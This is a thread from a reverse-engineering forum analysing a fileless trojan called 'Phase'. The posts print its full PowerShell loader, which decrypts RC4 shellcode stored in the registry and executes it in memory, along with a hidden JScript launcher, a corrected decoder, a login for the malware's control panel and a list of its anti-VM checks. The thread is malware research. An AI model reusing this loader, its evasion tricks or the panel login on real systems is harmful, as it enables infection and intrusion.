A forum for reverse engineering, OS internals and malware analysis 

Forum for analysis and discussion about malware.
 #24560  by rnd.usr
 Tue Dec 09, 2014 2:40 pm
Hi,

found a new trojan which call itself fileless. It injects RC4 encrypted code into explorer.exe, hooks NtQueryDirectoryFile with HLT-hook for hiding, uses (base64-decoded) Powershell stored in regedit and it's encrypted with RC4 and random key. Uses same technique as Poweliks for startup in regedit. AV-detection is very bad: https://www.virustotal.com/en/file/4382 ... 418147310/

Test Panel: http://phasesupport.com/phase/login.php - Phase:Phase

Powershell script:
Code: Select all
$sRegistryKey = 'HKCU:\Software\Microsoft\Active Setup\Installed Components\{72507C54-3577-4830-815B-310007F6135A}';

[Byte[]]$bKey = [System.Text.Encoding]::ASCII.GetBytes("Phase");

$sCode = @"
[DllImport("kernel32.dll")]


public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, Byte[] lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(Byte[] lpAddress, uint dwSize, uint flNewProtect, [Out] IntPtr lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern uint WaitForSingleObject(IntPtr hHandle, int dwMilliseconds);
"@

$pFunctions = Add-Type -memberDefinition $sCode -Name "Win32" -namespace Win32Functions -passthru

[Byte[]]$bShellCode;

if ([IntPtr]::Size -eq 8) {
        # Load Encrypted x64 Shellcode From Registry
        $bShellCode = (Get-ItemProperty -Path $sRegistryKey -Name Rc4Encoded64).Rc4Encoded64;
}else{
        # Load Encrypted x86 Shellcode From Registry
        $bShellCode = (Get-ItemProperty -Path $sRegistryKey -Name Rc4Encoded32).Rc4Encoded32;
}

[Byte[]]$s = New-Object Byte[] 256;
[Byte[]]$k = New-Object Byte[] 256;

for ($i = 0; $i -lt 256; $i++){
        $s[$i] = [Byte]$i;
        $k[$i] = $bKey[$i % $bKey.Length];
}
$j = 0;
for ($i = 0; $i -lt 256; $i++){
        $j = ($j + $s[$i] + $k[$i]) % 256;
        $s[$i] = $s[$j];
        $s[$j] = $bSwap;
}
$i = 0;
$j = 0;
for ($x = 0; $x -lt $bShellCode.Length; $x++){
        $i = ($i + 1) % 256;
        $j = ($j + $s[$i]) % 256;
        $bSwap = $s[$i];
        $s[$i] = $s[$j];
        $s[$j] = $bSwap;
        [int]$t = ($s[$i] + $s[$j]) % 256;
        $bShellCode[$x] = $bShellCode[$x] -bxor $s[$t];
}

$dwSize = $bShellCode.Length;
if ($dwSize -gt 0x00000000){
        [Int[]]$dwOldProt = 0x00000000;

        $pdwOldProt = [System.Runtime.InteropServices.Marshal]::UnsafeAddrOfPinnedArrayElement($dwOldProt,0)

        if ($pFunctions::VirtualProtect($bShellCode, $dwSize, 0x40, $pdwOldProt)){
                $hThread = $pFunctions::CreateThread(0, 0, $bShellCode, 0, 0, 0);
                $pFunctions::WaitForSingleObject($hThread, -1);
        }
}

WSShell = new ActiveXObject("WScript.Shell"); sWindows = oWSShell.ExpandEnvironmentStrings("%windir%"); sPowerShell = sWindows + "\\system32\\windowspowershell\\v1.0\\powershell.exe"; oFile = new ActiveXObject("Scripting.FileSystemObject"); if (oFile.FileExists(sPowerShell)){ (oWSShell.Environment("Process"))("LoadShellCodeScript") = "iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('" + sPowerShellScript + "')))"; oWSShell.Run(sPowerShell + " iex $env:LoadShellCodeScript", 0, 1);}
attached:
infected
(115.66 KiB) Downloaded 244 times
 #24561  by EP_X0FF
 Tue Dec 09, 2014 4:23 pm
It hooks actually more - NtResumeThread for self-propagation from the explorer.exe and winsock send, HttpSendRequestW.
Furthermore this sample is VM aware - it detects VMWare by additions and VMX backdoor, VirtualBox, Xen hypervisor, Qemu etc.
 #24562  by EP_X0FF
 Tue Dec 09, 2014 6:47 pm
@rnd.usr

your code actually incomplete or buggy - this RC4 decoding will never success as the bSwap is uninitialized but used.

Here is decoded from registry
Code: Select all
# Read And Execute Rc4 Encrypted ShellCode From The Registry 

# Set Registry Key
$sRegistryKey = 'HKCU:\Software\Microsoft\Active Setup\Installed Components\{72507C54-3577-4830-815B-310007F6135A}';

# Set Key For Key Stream
[Byte[]]$bKey = [System.Text.Encoding]::ASCII.GetBytes("Phase");

# Import Native Functions
$sCode = @"
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, Byte[] lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(Byte[] lpAddress, uint dwSize, uint flNewProtect, [Out] IntPtr lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern uint WaitForSingleObject(IntPtr hHandle, int dwMilliseconds);
"@

# Make The Code Recognized By PowerShell
$pFunctions = Add-Type -memberDefinition $sCode -Name "Win32" -namespace Win32Functions -passthru

# Declare Shellcode Array
[Byte[]]$bShellCode;

# Check Pointer Size To Check If x64
if ([IntPtr]::Size -eq 8) {
	# Load Encrypted x64 Shellcode From Registry
	$bShellCode = (Get-ItemProperty -Path $sRegistryKey -Name Rc4Encoded64).Rc4Encoded64;
}else{
	# Load Encrypted x86 Shellcode From Registry
	$bShellCode = (Get-ItemProperty -Path $sRegistryKey -Name Rc4Encoded32).Rc4Encoded32;
}

# Define Byte Arrays That Are The Boxes
[Byte[]]$s = New-Object Byte[] 256;
[Byte[]]$k = New-Object Byte[] 256;

# Loop from 0 to 255 to fill the boxes
for ($i = 0; $i -lt 256; $i++){
	# Fill Box S With 0-255
	$s[$i] = [Byte]$i;
	
	# Fill Box K With (0-255)/dwKeyLen
	$k[$i] = $bKey[$i % $bKey.Length];
}

# Initialize j
$j = 0;

# Loop Through All 256 Bytes
for ($i = 0; $i -lt 256; $i++){
	$j = ($j + $s[$i] + $k[$i]) % 256;
	
	# Hold Temporary Value Of S[i] For Swapping
	$bSwap = $s[$i];
	
	# Set S[i] With S[j]
	$s[$i] = $s[$j];
	
	# Set S[j] With Old Value Of S[i]
	$s[$j] = $bSwap;
}

# Initialize i
$i = 0;

# Initialize j
$j = 0;

# Loop Through The Bytes In The Buffer
for ($x = 0; $x -lt $bShellCode.Length; $x++){
	# Pseudo-Random Generation Algorithm
	$i = ($i + 1) % 256;
	$j = ($j + $s[$i]) % 256;
	
	# Hold Temporary Value Of S[i] For Swapping
	$bSwap = $s[$i];
	
	# Set S[i] With S[j]
	$s[$i] = $s[$j];
	
	# Set S[j] With Old Value Of S[i]
	$s[$j] = $bSwap;
	[int]$t = ($s[$i] + $s[$j]) % 256;
	
	# Xor PlainText With KeyStream
	$bShellCode[$x] = $bShellCode[$x] -bxor $s[$t];
}

# Check What Size We Should Allocate
$dwSize = $bShellCode.Length;

# Check Size Of ShellCode
if ($dwSize -gt 0x00000000){
	# Variable To Hold Old Protection Flags
	[Int[]]$dwOldProt = 0x00000000;

	# Get Pointer To $dwOldProt
	$pdwOldProt = [System.Runtime.InteropServices.Marshal]::UnsafeAddrOfPinnedArrayElement($dwOldProt,0)

	# Set Read/Write/Execute Flags On ShellCode
	if ($pFunctions::VirtualProtect($bShellCode, $dwSize, 0x40, $pdwOldProt)){		
		# Create A New Thread To Execute Our ShellCode
		$hThread = $pFunctions::CreateThread(0, 0, $bShellCode, 0, 0, 0);
		
		# Wait For Our Thread
		$pFunctions::WaitForSingleObject($hThread, -1);
	}
}
       
and for decoding data streams fixed PowerShell RC4 only
Code: Select all
$sRegistryKey = 'HKCU:\Software\test';

[Byte[]]$bKey = [System.Text.Encoding]::ASCII.GetBytes("Phase");


[Byte[]]$bShellCode;

$bShellCode = (Get-ItemProperty -Path $sRegistryKey -Name Rc4Encoded64).Rc4Encoded64; <- or $bShellCode = (Get-ItemProperty -Path $sRegistryKey -Name Rc4Encoded32).Rc4Encoded32;


[Byte[]]$s = New-Object Byte[] 256;
[Byte[]]$k = New-Object Byte[] 256;

for ($i = 0; $i -lt 256; $i++){
        $s[$i] = [Byte]$i;
        $k[$i] = $bKey[$i % $bKey.Length];
}
$j = 0;
for ($i = 0; $i -lt 256; $i++){
        $j = ($j + $s[$i] + $k[$i]) % 256;
        $bSwap = $s[$i];
        $s[$i] = $s[$j];
        $s[$j] = $bSwap;
}
$i = 0;
$j = 0;
for ($x = 0; $x -lt $bShellCode.Length; $x++){
        $i = ($i + 1) % 256;
        $j = ($j + $s[$i]) % 256;
        $bSwap = $s[$i];
        $s[$i] = $s[$j];
        $s[$j] = $bSwap;
        [int]$t = ($s[$i] + $s[$j]) % 256;
        $bShellCode[$x] = $bShellCode[$x] -bxor $s[$t];
}
[io.file]::WriteAllBytes('data.bin',$bShellCode);
Decoded 32/64 shellcodes in attach.
Attachments
pass: infected
(45.88 KiB) Downloaded 124 times
 #24564  by t4L
 Wed Dec 10, 2014 2:21 am
Havent looked into yet, but generally QEMU is detected by disk name or unsupported instructions or cpu errata.

Just curious how does it detect Xen? via QEMU ?
 #24565  by EP_X0FF
 Wed Dec 10, 2014 5:09 am
newgre wrote:Just curious, but how does it detect QEMU?
They did nothing new. AntiVM similar to that Andromeda has.

There are 4 antivm methods found inside, maybe missed something (anyway none of them worked and will not work with properly configured vm):

1) SYSTEM\ControlSet001\Services\Disk\Enum to detect VM by disk vendor name. This is generic for VMWare, QEMU and VBox;
2) Looking for known driver names -> VMWare vmhgfs, vmxnet, vmmouse;
3) Quering hypervisor name by cpuid (Xen, VMWare, Microsoft Hv);
4) VMXh VMWare backdoor.

Overall this malware looks like another copy-paste, where Poweliks registry technique was adapted in the last moment.
 #24602  by EP_X0FF
 Sun Dec 14, 2014 7:55 am
kmd wrote:unsure, is it rootkit?
Only in developer(s) wet dreams.
 #24607  by frame4-mdpro
 Sun Dec 14, 2014 4:30 pm
EP_X0FF wrote:
kmd wrote:unsure, is it rootkit?
Only in developer(s) wet dreams.
Hahaha, man EP_X0FF, I hate replying with empty posts like these, but this one really cracked me up :lol: !